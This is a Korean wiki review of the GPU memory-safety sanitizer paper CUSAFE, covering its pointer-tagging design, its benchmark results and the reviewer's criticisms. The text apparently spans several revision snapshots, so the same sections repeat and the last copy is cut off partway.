핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.

이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.

Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.

== Design ==
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.

== Result ==
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.

Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.

Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.

Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.

== Contribution ==
# '''GPU Sanitizer'''에 대한 Motivation이 잘 설명되어 있다.
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.

== [[Criticisms]] ==
=== Major Concerns ===
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.

=== Minor Concerns ===
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.
# Figure 15에서 지수값으로 (10^1, 10^2, ...) 가로축 성능 보여주는데, log scale사용하지 말고 위에 over하는 것들은 자르는 방식으로 결과 값을 보여줘야 한다.
# Figure 15 stale reference다. 논문 어디에서도 인용안되고 있다.

== Conclusion ==
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.

[[분류: USENIX Security]]
[[분류: GPU 보안]]

CUSAFE: Capturing Memory Corruption on NVIDIA GPUs

2026-07-02T07:25:59Z

Ahn9807:

{{Paper
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo
|conference=USENIX Security Symposium
|year=2026
}}

== 개요 ==
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.

== Motivation ==
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.

기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA '''compute-sanitizer는 논문 평가에서 평균 15배 slowdown'''을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.

== Importance ==
이 논문의 중요성은 GPU memory safety 문제를 "탐지 능력 대 배포 가능성"의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. '''CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정'''하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.

또 하나의 의미는 '''CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니'''라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.

마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.

== Main Idea ==
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.

이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.

Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.

== Design ==
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.

== Result ==
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.

Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.

Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.

Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.

== Contribution ==
# '''GPU Sanitizer'''에 대한 Motivation이 잘 설명되어 있다.
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.

== [[Criticisms]] ==
=== Major Concerns ===
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.

=== Minor Concerns ===
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.
# Figure 15에서 지수값으로 (10^1, 10^2, ...) 가로축 성능 보여주는데, log scale사용하지 말고 위에 over하는 것들은 자르는 방식으로 결과 값을 보여줘야 한다.

== Conclusion ==
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.

[[분류: USENIX Security]]
[[분류: GPU 보안]]

CUSAFE: Capturing Memory Corruption on NVIDIA GPUs

2026-07-02T07:22:07Z

Ahn9807:

{{Paper
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo
|conference=USENIX Security Symposium
|year=2026
}}

== 개요 ==
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.

== Motivation ==
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.

기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA '''compute-sanitizer는 논문 평가에서 평균 15배 slowdown'''을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.

== Importance ==
이 논문의 중요성은 GPU memory safety 문제를 "탐지 능력 대 배포 가능성"의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. '''CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정'''하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.

또 하나의 의미는 '''CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니'''라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.

마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.

== Main Idea ==
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.

이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.

Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.

== Design ==
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.

== Result ==
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.

Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.

Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.

Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.

== Contribution ==
# '''GPU Sanitizer'''에 대한 Motivation이 잘 설명되어 있다.
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.

== [[Criticisms]] ==
=== Major Concerns ===
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.
